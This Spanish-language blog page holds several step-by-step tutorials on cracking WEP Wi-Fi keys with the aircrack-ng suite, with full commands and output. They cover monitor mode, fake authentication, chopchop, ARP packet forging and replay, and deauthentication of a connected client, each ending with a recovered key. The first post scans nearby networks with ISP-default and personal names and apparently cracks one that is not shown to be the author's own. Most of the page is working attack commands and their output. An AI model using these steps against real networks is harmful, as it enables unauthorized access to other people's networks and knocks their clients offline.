Seguridad y Redes

Tips & Video Tutoriales, Wifislax, VMware, GNS3, VirtualBox, CCNA, Cisco Routers & Switches, [ Programming ]

USB FL-2016G con chipset RTL8187 en Ubuntu 11.10

Aquí se muestra el FL-2016G en acción desde Ubuntu en su versión 11.10. El FL-2016G es un dispositivo USB también conocido como el dragon que trae consigo el chipset rtl8187, inyecta muy bien, aunque me quedo con el alfa 2000mw, pero la ventaja es de que no es un dispositivo caro, yo la compre en 20 dolares por Ebay, el alfa me costo un poco mas pero si que valió la pena comprarla, me ha servido para todo, hasta como AP :).
Bueno como un usuario me ha enviado un mensaje preguntando como es el proceso para auditar con el FL-2016, aquí esta. Aunque el proceso es el mismo para todos los dispositivos, es cuestión de lanzar airmon-ng y mirar si detecta nuestro dispositivo USB, si no detecta podría ser necesaria parchear los drivers con el Compat-Wireless.

Bueno lo primero lanzamos airmon-ng. Para esto iniciamos el script airmon-ng tal como se muestra a continuación. Wlan2 es la interface como es reconocido nuestro dispositivo en Ubuntu.

root@computer:/home/delfi# airmon-ng start wlan2.
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
997 avahi-daemon
998 avahi-daemon
999 NetworkManager
19973 wpa_supplicant
21950 dhclient
Process with PID 21950 (dhclient) is running on interface wlan1

Interface Chipset  Driver

wlan1  Unknown  rt2800usb - [phy0]
wlan2  RTL8187  rtl8187 - [phy1]
(monitor mode enabled on mon0)
Una vez que hemos puesto el FL-2016G en modo monitor, podremos lanzar airodump-ng para escanear las redes que están a nuestro alcance para poder elegir un objetivo y centrarnos en una red en concreto.

root@computer:/home/delfi# airodump-ng mon0
CH 10 ][ Elapsed: 4 s ][ 2011-11-30 03:04                               
                                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                     
                                                                                                          
08:76:FF:XX:XX:A4  -50       11        0    0   9  54e  WEP  WEP         INFINITUMXXXXA                           
64:16:F0:31:XX:CD  -61        9        0    0  11  54   WEP  WEP         INFINITUM74XX                             
00:18:3F:01:06:XX  -62        2        0    0  11  54 . WEP  WEP         INFINITUM97XX                             
00:21:7C:C6:XX:XX  -62        6        0    0   1  54 . WPA2 CCMP   PSK  Juanjo                                    
98:2C:BE:10:ED:72  -60        7        0    0   1  54   WEP  WEP         INFINITUMXX31                             
F4:C7:14:6F:AB:7C  -63        4        0    0  11  54e  WEP  WEP         GREGORIO                                  
5C:4C:A9:67:18:B4  -64        4        0    0   1  54e  WEP  WEP         INFINITUMXXb4                             
00:E0:4C:XX:53:XX  -67        2        0    0  11  54   WEP  WEP         PAKORP                                    
                                                                                                          
BSSID              STATION            PWR   Rate    Lost  Packets  Probes


Una vez elegido el objetivo, lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB em modo monitor (mon0) en el canal (11) donde esta trasmitiendo el punto de acceso (64:16:F0:31:68:CD), el parametro --write es el nombre del archivo de nuestra captura.

root@computer:/home/delfi# airodump-ng --bssid 64:16:F0:31:68:CD --channel 11 --write wifikey mon0
CH 11 ][ Elapsed: 5 mins ][ 2011-11-30 03:09                               
                                                                                                          
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 
                                                                                                          
64:16:F0:XX:XX:CD  -60   0     2286    29042   76  11  54   WEP  WEP    OPN  INFINITUM7XX9                         
                                                                                                          
BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                          
                                                                                                          
64:16:F0:31:XX:XX  00:C0:CA:40:XX:XX    0    0 - 1   1317340   151601

Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.

root@computer:/home/delfi# aireplay-ng --fakeauth 0 -e INFINITUM7XX9 -a 64:16:F0:31:68:CD -h 00:C0:CA:40:B8:3E mon0
03:04:54  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11
03:04:55  Sending Authentication Request (Open System)
03:04:55  Authentication successful
03:04:55  Sending Association Request
03:04:55  Association successful :-) (AID: 1)


Tal como podemos ver, nos hemos asociado correctamente. lanzamos el ataque chopchop con el siguiente comando --chopchop o -4. En este caso el paramentro--chopchop significa que realizaremos el ataque chopchop, -b la dirección MAC del punto de acceso, -h la dirección MAC de nuestro dispositivo inalambrico y el mon0 es tal como es reconocido nuestro dispositivo.

root@computer:/home/delfi# aireplay-ng --chopchop -b 64:16:F0:XX:XX:XX -h 00:C0:CA:XX:XX:3E mon0
03:04:58  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11
Read 3616 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)

    BSSID  =  64:16:F0:XX:XX:CD
Dest. MAC  =  01:00:5E:00:XX:XX
Source MAC  =  64:16:F0:31:XX:XX

0x0000:  0842 0000 0100 5e00 0001 6416 f031 68cd  .B....^...d..1h.
0x0010:  6416 f031 68cd f089 e15e 4800 224d e95a  d..1h....^H."M.Z
0x0020:  f191 7a17 92fd 494c e866 d7fe 7200 d979  ..z...IL.f..r..y
0x0030:  8c57 92db d5ed 59c3 5a63 c78c e09c fc82  .W....Y.Zc......
0x0040:  0269 8709 952a 7d4a 443f 2139 3843 0fd5  .i...*}JD?!98C..
0x0050:  e2ff 3aea e1aa                           ..:...

Use this packet ? y

Saving chosen packet in replay_src-1130-030631.cap

Offset   85 ( 0% done) | xor = 89 | pt = 23 |   78 frames written in  1342ms
Offset   84 ( 1% done) | xor = 94 | pt = 75 |  489 frames written in  8297ms
Offset   83 ( 3% done) | xor = BE | pt = 54 | 1785 frames written in 30360ms
Offset   82 ( 5% done) | xor = 3E | pt = 04 |  579 frames written in  9843ms
Offset   81 ( 7% done) | xor = FF | pt = 00 |  667 frames written in 11338ms
Offset   80 ( 9% done) | xor = E2 | pt = 00 |   77 frames written in  1309ms
Offset   79 (11% done) | xor = D5 | pt = 00 |  239 frames written in  4064ms
Offset   78 (13% done) | xor = 0F | pt = 00 |  238 frames written in  4047ms
Offset   77 (15% done) | xor = 42 | pt = 01 |  650 frames written in 11048ms
Offset   76 (17% done) | xor = 38 | pt = 00 |  273 frames written in  4642ms
Offset   75 (19% done) | xor = 39 | pt = 00 |  133 frames written in  2249ms
Offset   74 (21% done) | xor = 21 | pt = 00 |  701 frames written in 11929ms
Offset   73 (23% done) | xor = 57 | pt = 68 |   57 frames written in   969ms
Offset   72 (25% done) | xor = 30 | pt = 74 |  418 frames written in  7103ms
Offset   71 (26% done) | xor = EA | pt = A0 |  606 frames written in 10304ms
Offset   70 (28% done) | xor = E5 | pt = 98 |  482 frames written in  8194ms
Offset   69 (30% done) | xor = 0A | pt = 20 |  244 frames written in  4149ms
Offset   68 (32% done) | xor = 95 | pt = 00 |  244 frames written in  4147ms
Offset   67 (34% done) | xor = E2 | pt = EB |  404 frames written in  6869ms
Offset   66 (36% done) | xor = 93 | pt = 14 |  185 frames written in  3136ms
Offset   65 (38% done) | xor = E9 | pt = 80 |  436 frames written in  7408ms
Offset   64 (40% done) | xor = DE | pt = DC |  197 frames written in  3360ms
Offset   63 (42% done) | xor = 82 | pt = 00 |  192 frames written in  3264ms
Offset   62 (44% done) | xor = FC | pt = 00 |  194 frames written in  3297ms
Offset   61 (46% done) | xor = 9C | pt = 00 |  815 frames written in 13856ms
Offset   60 (48% done) | xor = E0 | pt = 00 | 1468 frames written in 24945ms
Offset   59 (50% done) | xor = 17 | pt = 9B |  316 frames written in  5383ms
Offset   58 (51% done) | xor = 29 | pt = EE |  230 frames written in  3909ms
Offset   57 (53% done) | xor = 07 | pt = 64 |   76 frames written in  1293ms
Offset   56 (55% done) | xor = 4B | pt = 11 |   99 frames written in  1684ms
Offset   55 (57% done) | xor = C2 | pt = 01 |  120 frames written in  2037ms
Offset   54 (59% done) | xor = 59 | pt = 00 |  192 frames written in  3266ms
Offset   53 (61% done) | xor = ED | pt = 00 |  177 frames written in  2998ms
Offset   52 (63% done) | xor = 35 | pt = E0 |   63 frames written in  1081ms
Offset   51 (65% done) | xor = 25 | pt = FE |   75 frames written in  1272ms
Offset   50 (67% done) | xor = 93 | pt = 01 |  147 frames written in  2503ms
Offset   49 (69% done) | xor = FF | pt = A8 |  229 frames written in  3892ms
Offset   48 (71% done) | xor = 4C | pt = C0 |  179 frames written in  3043ms
Offset   47 (73% done) | xor = EF | pt = 96 |  690 frames written in 11730ms
Offset   46 (75% done) | xor = D1 | pt = 08 |  295 frames written in  5014ms
Offset   45 (76% done) | xor = 02 | pt = 02 |  575 frames written in  9775ms
Offset   44 (78% done) | xor = 73 | pt = 01 |  249 frames written in  4233ms
Offset   43 (80% done) | xor = FE | pt = 00 |   67 frames written in  1140ms
Offset   42 (82% done) | xor = D7 | pt = 00 |  296 frames written in  5020ms
Offset   41 (84% done) | xor = C5 | pt = A3 |   97 frames written in  1660ms
Offset   40 (86% done) | xor = E6 | pt = 0E |   20 frames written in   341ms
Offset   39 (88% done) | xor = 50 | pt = 1C |  370 frames written in  6293ms
Offset   38 (90% done) | xor = 49 | pt = 00 |  228 frames written in  3869ms
Offset   37 (92% done) | xor = FD | pt = 00 |  231 frames written in  3930ms
Offset   36 (94% done) | xor = D7 | pt = 45 |  789 frames written in 13414ms
Offset   35 (96% done) | xor = 17 | pt = 00 |  229 frames written in  3892ms
Offset   34 (98% done) | xor = 72 | pt = 08 |  147 frames written in  2499ms

Saving plaintext in replay_dec-1130-030713.cap
Saving keystream in replay_dec-1130-030713.xor

Completed in 39s (1.23 bytes/s)


Como se mira en el código e imagen anterior, tuvimos éxito con el ataque chopchop. El archivo llamado keystream in replay_dec-1130-030713.xor lo utilizaremos para generar un paquete ARP con el famoso packetforge-ng. Nuestro objetivo es que el punto de acceso reenvié continuamente el paquete arp inyectado. Cuando lo reenvié obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.

root@computer:/home/delfi# packetforge-ng -0 -a 64:16:F0:31:XX:XX -h 00:C0:CA:XX:XX:XX -k 255.255.255.255 -l 255.255.255.255 -yreplay_dec-1130-030713.xor -w ARP
Wrote packet to: ARP

Ahora la inyección del paquete ARP.
root@computer:/home/delfi# aireplay-ng -2 -r ARP mon0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:40:B8:3E)
Size: 68, FromDS: 0, ToDS: 1 (WEP)

    BSSID  =  64:16:F0:XX:XX:XX
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:C0:CA:40:XX:XX

0x0000:  0841 0201 6416 f031 68cd 00c0 ca40 b83e  .A..d..1h....@.>
0x0010:  ffff ffff ffff 8001 e15e 4800 224d e95a  .........^H."M.Z
0x0020:  f191 7a11 d7fc 4150 e0c1 d7ff 73c2 1baf  ..z...AP....s...
0x0030:  f4c1 6cda ca12 59c2 4b07 2917 1f63 037d  ..l...Y.K.)..c.}
0x0040:  2df5 fa27                                -..'

Use this packet ? y

Saving chosen packet in replay_src-1130-030729.cap
You should also start airodump-ng to capture replies.
Por ultimo, una vez capturado los suficientes #datas, lanzamos aircrack-ng.

delfi@computer:~$ aircrack-ng wifikey-01.cap

Opening wifikey-01.cap
Read 163102 packets.

#  BSSID              ESSID                     Encryption

1  64:16:F0:XX:XX:XX  INFINITUM7XX9             WEP (25237 IVs)

Choosing first network as target.

Opening wifikey-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 25237 ivs.
                                              Aircrack-ng 1.1

                              [00:00:07] Tested 83141 keys (got 25192 IVs)

KB    depth   byte(vote)
0    0/  1   37(41728) 47(35840) 3C(34560) EA(33280) 68(32768) 93(32768) 0E(32512) DC(32512) 39(32256)
1   23/ 26   BD(30464) 7F(30208) 9A(30208) BB(30208) BE(30208) C4(30208) 76(29696) B1(29696) D4(29696)
2    0/ 19   61(34560) 16(33536) 2F(33536) ED(33024) 19(33024) EF(32768) 01(32512) 9D(32256) 9E(31488)
3    2/ 25   31(33280) 08(33280) 77(33024) C9(32768) D3(32768) B9(32512) 74(32256) BE(31744) 48(31744)
4    0/  7   63(36096) A2(33024) BB(32512) 51(32512) C6(32256) A4(32000) F5(32000) 07(31744) 1F(31744)

           KEY FOUND! [ 37:63:61:31:63 ] (ASCII: 7ca1c )
Decrypted correctly: 100%


Video: USB FL-2016G en acción desde Ubuntu 11.10

Vídeo Online
http://www.youtube.com/watch?v=rFUMPgYkGPM

Ataque 4: Ataque chopchop + Ataque 2 : Interactive Packet Replay

Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin necesidad de conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela únicamente el texto plano. De cualquier modo, algunos puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el punto de acceso tira paquetes menores de 42 bytes, aireplay intenta adivinar el resto de los datos, tan pronto como el encabezado (headers) sea predecible. Si un paquete IP es capturado, automáticamente comprueba el checksum del encabezado para ver si es correcto, y despues trata de adivinar las partes que le faltan. Este ataque requiere como mínimo un paquete de datos WEP.

Modo Monitor con Airmon-ng

Nuestro primer paso sera poner nuestro dispositivo inalambrico en modo Monitor. El modo monitor es un modo especial que se usa para capturar paquetes wireles 802.11. Para esto iniciamos el script airmon-ng tal como se muestra a continuación.
root@bt:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID       Name
1232      dhclient3
2118      dhclient3
Process   with PID 2082 (ifup) is running on interface wlan0
Process   with PID 2118 (dhclient3) is running on interface wlan0

Interface         Chipset           Driver

wlan0             Ralink RT2870/3070       rt2800usb - [phy1]
                 (monitor mode enabled on mon0)
root@bt:~#
Ahora lanzamos airodump-ng para escanear las redes que están a nuestro alcance y asi poder elegir una red en especifico.
root@bt:~# airodump-ng mon0

CH  2 ][ Elapsed: 8 s ][ 2011-06-07 12:39                          
                                                            
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                            
00:18:3F:18:85:C9  -127        4        2    0   6  54 . WEP  WEP         2WIRE974
                                                            
BSSID              STATION            PWR   Rate    Lost  Packets  Probes 
                                                            
00:18:3F:18:85:C9  0C:60:76:71:D5:5B  -127    0 -54      0        1         

root@bt:~#
Elegimos la red objetivo y lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB (mon0) en el canal (6) donde esta trasmitiendo el punto de acceso (00:18:3F:18:85:C9).
root@bt:~# airodump-ng -c 6 -w captura --bssid 00:18:3F:18:85:C9 mon0

Con el parámetro --bssid indicamos la dirección MAC del punto de acceso, -c indicamos el numero de canal y el parámetro -w ponemos el nombre del archivo donde se guardaran los datos.
 CH  6 ][ Elapsed: 1 min ][ 2011-06-07 12:55 ][ Decloak: 00:18:3F:18:85:C9 
                                                            
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                            
00:18:3F:18:85:C9  -127  93      909     241    2  6  54 . WEP  WEP    OPN  2WIRE974
                                                            
BSSID              STATION            PWR   Rate    Lost  Packets  Probes 
                                                            
00:18:3F:18:85:C9  00:C0:CA:4A:82:97    0    0 - 1      0 9638
Ataque 1: Falsa Autenticación

Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.
root@bt:~# aireplay-ng -1 0 -e 2WIRE974 -a 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 mon0
12:54:37  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6

12:54:37  Sending Authentication Request (Open System) [ACK]
12:54:38  Authentication successful
12:54:38  Sending Association Request [ACK]
12:54:38  Association successful :-) (AID: 1)
Ataque 4: Ataque Chopchop

Una vez autenticado correctamente lanzamos el ataque chopchop con el siguiente comando. El -4 significa que realizaremos el ataque chopchop, -b la dirección MAC del punto de acceso, -h la dirección MAC de nuestro dispositivo inalambrico y el mon0 es tal como es reconocido nuestro dispositivo.
root@bt:~# aireplay-ng -4 -b 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 mon0
12:54:48  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6


Size: 68, FromDS: 1, ToDS: 0 (WEP)

BSSID  =  00:18:3F:18:85:C9
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:18:3F:18:85:C9

0x0000:  0842 3a01 ffff ffff ffff 0018 3f18 85c9  .B:.........?...
0x0010:  0018 3f18 85c9 d06e 3f5d 5c00 0695 56a5  ..?....n?]\...V.
0x0020:  05bb c1d0 3adf e8c9 d3db da6a 5fc0 a283  ....:......j_...
0x0030:  e901 d215 c1a4 5a7a efc0 ea3f 255f 0c69  ......Zz...?%_.i
0x0040:  a4d8 6b51                                ..kQ

Use this packet ? y

Saving chosen packet in replay_src-0607-125448.cap

Offset   67 ( 0% done) | xor = 03 | pt = 52 |  234 frames written in  3993ms
Offset   66 ( 2% done) | xor = 81 | pt = EA |  167 frames written in  2833ms
Offset   65 ( 5% done) | xor = 6F | pt = B7 |   85 frames written in  1446ms
Offset   64 ( 8% done) | xor = 10 | pt = B4 |  197 frames written in  3348ms
Offset   63 (11% done) | xor = 2A | pt = 43 |  171 frames written in  2901ms
Offset   62 (14% done) | xor = 0D | pt = 01 |  126 frames written in  2148ms
Offset   61 (17% done) | xor = F7 | pt = A8 |  212 frames written in  3609ms
Offset   60 (20% done) | xor = E5 | pt = C0 |  216 frames written in  3670ms
Offset   59 (23% done) | xor = C0 | pt = FF |  186 frames written in  3156ms
Offset   58 (26% done) | xor = 15 | pt = FF |   59 frames written in  1008ms
Offset   57 (29% done) | xor = 3F | pt = FF |   43 frames written in   731ms
Offset   56 (32% done) | xor = 10 | pt = FF |   91 frames written in  1545ms
Offset   55 (35% done) | xor = 85 | pt = FF |   73 frames written in  1248ms
Offset   54 (38% done) | xor = A5 | pt = FF |   29 frames written in   487ms
Offset   53 (41% done) | xor = 5A | pt = FE |  214 frames written in  3629ms
Offset   52 (44% done) | xor = C0 | pt = 01 |   43 frames written in   742ms
Offset   51 (47% done) | xor = BD | pt = A8 |  137 frames written in  2322ms
Offset   50 (50% done) | xor = 12 | pt = C0 |   35 frames written in   606ms
Offset   49 (52% done) | xor = C8 | pt = C9 |  223 frames written in  3783ms
Offset   48 (55% done) | xor = 6C | pt = 85 |   47 frames written in   801ms
Offset   47 (58% done) | xor = 9B | pt = 18 |   64 frames written in  1087ms
Offset   46 (61% done) | xor = 9D | pt = 3F |  252 frames written in  4287ms
Offset   45 (64% done) | xor = D8 | pt = 18 |  108 frames written in  1836ms
Offset   44 (67% done) | xor = 5F | pt = 00 |  241 frames written in  4099ms
Offset   43 (70% done) | xor = 6B | pt = 01 |  193 frames written in  3282ms
Offset   42 (73% done) | xor = DA | pt = 00 |   98 frames written in  1660ms
Offset   41 (76% done) | xor = DF | pt = 04 |  163 frames written in  2773ms
Offset   40 (79% done) | xor = D5 | pt = 06 |   68 frames written in  1157ms
Sent 1000 packets, current guess: E4...

The AP appears to drop packets shorter than 40 bytes.
Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay_dec-0607-125543.cap
Saving keystream in replay_dec-0607-125543.xor

Completed in 40s (0.75 bytes/s)
Como se puede observar, tuvimos exito con el ataque chopchop. El archivo llamado keystream in replay_dec-0607-125543.xor lo utilizaremos para generar un paquete ARP con el famoso packetforge-ng. Nuestro objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.
root@bt:~# packetforge-ng -0 -a 00:18:3F:18:85:C9 -h 00:C0:CA:4A:82:97 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0607-125543.xor -w ARP
Wrote packet to: ARP
Ataque 2: Interactive Packet Replay

Inyección del paquete ARP con areplay-ng.
root@bt:~# aireplay-ng -2 -r ARP mon0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:4A:82:97)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID  =  00:18:3F:18:85:C9
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:C0:CA:4A:82:97

0x0000:  0841 0201 0018 3f18 85c9 00c0 ca4a 8297  .A....?......J..
0x0010:  ffff ffff ffff 8001 3f5d 5c00 0695 56a5  ........?]\...V.
0x0020:  05bb c1d0 3adf e8c9 d3db da6a 5f18 57d1  ....:......j_.W.
0x0030:  ee5f ed42 3fa5 a585 103f 15c0 1a08 f2d5  ._.B?....?......
0x0040:  3f8a 5f41                                ?._A

Use this packet ? y

Saving chosen packet in replay_src-0607-125633.cap
You should also start airodump-ng to capture replies.

Sent 16265 packets... (500pps)
Por ultimo lanzamos aircrack-ng para obtener la clave WEP.
root@bt:~# aircrack-ng captura-01.cap
Opening captura-01.cap
Read 98407 packets.

#  BSSID              ESSID                     Encryption

1  00:18:3F:18:85:C9  2WIRE974                  WEP (21485 IVs)

Choosing first network as target.

Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 21572 ivs.

                           Aircrack-ng 1.1 r1904


          [00:00:05] Tested 866 keys (got 20515 IVs)

KB    depth   byte(vote)
0     11/  13    C0(25600) 76(25344) 8B(25344) A6(25344) F6(24832) 12(24576) 73(24576)
1      0/   3    02(31232) 19(27904) EB(26880) 6E(26624) 8E(26624) 70(26368) 09(26112)
2      0/   4    95(31232) F2(29184) 59(26880) 14(26880) 6E(26112) 03(25856) 75(25856)
3      0/   6    92(30464) 92(28160) E5(27904) 3D(26368) C3(26112) D5(26112) 92(25344)
4      0/   1    80(34048) 06(28416) 9F(26880) 76(26624) 8A(26624) F1(26624) FB(26624)

                              KEY FOUND! [ 76:02:95:92:80 ]
Decrypted correctly: 100%
Referencias:
Hacking Exposed Wireless, Second Edition
Ataque 4: Ataque chopchop
En este vide se muestra el ataque 0 - Deautenticación para desasociar un cliente conectado al punto de acceso y asi obtener la clave WEP (Wired Equivalent Privacy) de la red inalambrica. El objetivo principal de los paquetes de deautenticación es interrumpir-romper la asociacion entre el cliente conectadioy el AP (Access Point). El ataque 0 o de Deautenticación (--deauth) es también conocido como el ataque DoS (Denegacion de Servicio), pero no es el propósito del vídeo.

Ataque 0: Deautenticación
Ataque 3: Reinyección de una petición ARP (ARP-request)
Estos pasos también se puede revisar en el post anterior.

Herramientas
* Backtrack 4 R2
http://www.backtrack-linux.org/downloads/
* Aircrack-ng (incluida en BackTrack)
http://www.aircrack-ng.org/
* Tarjeta WiFi que soporte el modo Monitor y la Inyección de paquetes

Comandos
root@bt:~# airmon-ng start wlan0

root@bt:~# airodump-ng mon0

root@bt:~# airodump-ng --bssid 00:18:3F:18:85:C9 --channel 6 --write captura mon0

root@bt:~# aireplay-ng --deauth 10 -a 00:18:3F:18:85:C9 -c 0C:60:76:71:D5:5B mon0

root@bt:~# aireplay-ng --arpreplay -e WifiAttack -b 00:18:3F:18:85:C9 -h 0C:60:76:71:D5:5B mon0

root@bt:~# aircrack-ng captura-01.cap
Vídeo Online
http://youtu.be/jUeBo2qBNJg?hd=1

Ataque 0: Deauthentication + Ataque 3: ARP Packets Injection = Cracking WEP

En este post veremos como se obtiene la clave WEP de una red inalambrica con un cliente conectado. Para este escenario realizamos dos ataques. El primero sera el ataque 0 o bien la deautenticación que consiste en deautenticar al cliente conectado al Punto de Acceso. El segundo lanzaremos el Ataque 3: Reinyección de una petición ARP (ARP-request) para generar nuevos IVs (vectores de inicialización).

Lo primero es poner la tarjeta en modo monitor.

root@bt:~# airmon-ng start wlan0
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
6179    dhclient

Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
(monitor mode enabled on mon0)

root@bt:~#
Una vez puesto la tarjeta en modo monitor con airmon-ng. Ahora toca lanzar la herramienta airodump-ng buscar las redes wifi disponibles. Para esto tecleamos el siguiente comando en consola.

root@bt:~# airodump-ng mon0
CH  8 ][ Elapsed: 0 s ][ 2011-03-18 02:21

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:18:3F:18:85:C9    5        1        2    0   6  54 . WEP  WEP         WifiAttack

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

00:18:3F:18:85:C9  0C:60:76:71:D5:5B    1   54 -54      0        2

root@bt:~#
Como podemos ver tenemos una red disponible y también hay un cliente conectado a dicha red. Ahora lanzamos airodump-ng para que escuche todo el trafico de la red con el nombre de "WifiAttack".

root@bt:~# airodump-ng --bssid 00:18:3F:18:85:C9 --channel 6 --write captura mon0

Ataque 0: Deautenticación

Ahora toca lanzar el ataque 0 para deautenticar al cliente conectado a la red "WifiAttack". El cliente tiene la direccion MAC 0C:60:76:71:D5:5B. Para esto lanzamos el siguiente comando.

root@bt:~# aireplay-ng --deauth 10 -a 00:18:3F:18:85:C9 -c 0C:60:76:71:D5:5B mon0
02:27:39  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6
02:27:39  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [34|63 ACKs]
02:27:40  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [17|64 ACKs]
02:27:41  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [12|64 ACKs]
02:27:41  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [12|64 ACKs]
02:27:42  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [12|64 ACKs]
02:27:43  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [13|63 ACKs]
02:27:43  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [22|65 ACKs]
02:27:44  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [18|64 ACKs]
02:27:45  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [16|64 ACKs]
02:27:45  Sending 64 directed DeAuth. STMAC: [0C:60:76:71:D5:5B] [14|64 ACKs]
root@bt:~#
El numero 10 es el número de deautenticaciones a enviar. Una vez desasociado el cliente lanzamos el ataque 3 para generar nuevos IVs (vectores de inicialización).

Ataque 3: ARP-Request

Lanzamos el ataque 3 (ARP-request reinjection) de aireplay-ng para aumentar la velocidad de captura de los IVs (vectores de inicialización).

root@bt:~# aireplay-ng --arpreplay -e WifiAttack -b 00:18:3F:18:85:C9 -h 0C:60:76:71:D5:5B mon0
The interface MAC (00:C0:CA:4A:82:97) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 0C:60:76:71:D5:5B
02:28:07  Waiting for beacon frame (BSSID: 00:18:3F:18:85:C9) on channel 6
Saving ARP requests in replay_arp-0318-022807.cap
You should also start airodump-ng to capture replies.
Read 81421 packets (got 27178 ARP requests and 26333 ACKs), sent 29719 packets...(49
root@bt:~#
Lo que sucede en este paso es, que areplay-ng escucha hasta encontrar un paquete ARP y cuando encuentra este paquete lo que hace es retransmitirlo hacia el punto de acceso, esto provoca que el AP tenga que repetir el paquete ARP con un IV nuevo y al retransmitir y retransmitir los paquetes ARP tendremos mas IVs que nos permitirán averiguar la clave WEP.

Cuando ya tengamos suficientes paquetes de datos (#Data) lanzamos aircrack-ng para crackear la Clave WEP. Abrimos consola y ejecutar aircrack-ng con el nombre del archivo guardado, en este caso es captura-01.cap

root@bt:~# aircrack-ng captura-01.cap
Opening captura-01.cap
Read 86840 packets.

#  BSSID              ESSID                     Encryption

1  00:18:3F:18:85:C9  WifiAttack                WEP (19315 IVs)

Choosing first network as target.

Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 19477 ivs.

                                  Aircrack-ng 1.1 r1738

                     [00:00:00] Tested 4 keys (got 19189 IVs)

 KB    depth   byte(vote)
 0    0/  1    76(26624) 1E(26112) 4D(25088) E6(24576) A5(24064) 25(23808) 36(23808
 1    0/  2    53(26368) 78(26112) 92(24832) BD(24320) 1A(23808) 0B(23552) 59(23552
 2    0/  2    95(25856) C1(25856) 3E(25088) BB(24064) DD(24064) BF(23296) ED(23296
 3    0/  1    92(27392) 40(25088) 08(24576) 45(23808) 8F(23808) 20(23296) 97(23296
 4    0/  1    80(27392) F2(26112) 46(24832) 4D(24576) 71(24576) 0E(24320) 85(24064

                       KEY FOUND! [ 76:02:95:92:80 ]
       Decrypted correctly: 100%
Este vídeo muestra como auditar con el alfa 2W AWUS036NH en Wifiway 2.0.1. Al igual que en BackTrack 4 R2, la reconoce automáticamente sin instalar ninguna parche o driver adicional. Los pasos descritos en el vídeo los realice desde VMware, donde tengo instalado Wifiway 2.0.1. Para ver como es el proceso de instalación de Wifiway 2.0.1 en VMware lo pueden ver en este post.

En el vídeo se muestran los siguientes ataques a WEP (Wired Equivalent Privacy).
Ataque 1: Autenticación Falsa
Ataque 3: Reinyección de una petición ARP (ARP-request)
Puedes verlo con mas detalle en el post anterior.

Wifiway 2.0.1
http://delfirosales.blogspot.com/2011/02/mirrors-de-wifiway-10-final-y-wifiway.html

Comandos
wifiway ~ # iwconfig

wifiway ~ # ifconfig

wifiway ~ # airmon-ng start wlan0

wifiway ~ # airodump-ng --bssid 00:18:3F:18:85:C9 -c 6 -w captura mon0

wifiway ~ # aireplay-ng -e 2WIRE6743 -a 00:18:3F:18:85:C9 -h 00:c0:ca:4a:82:97 -1 0 mon0

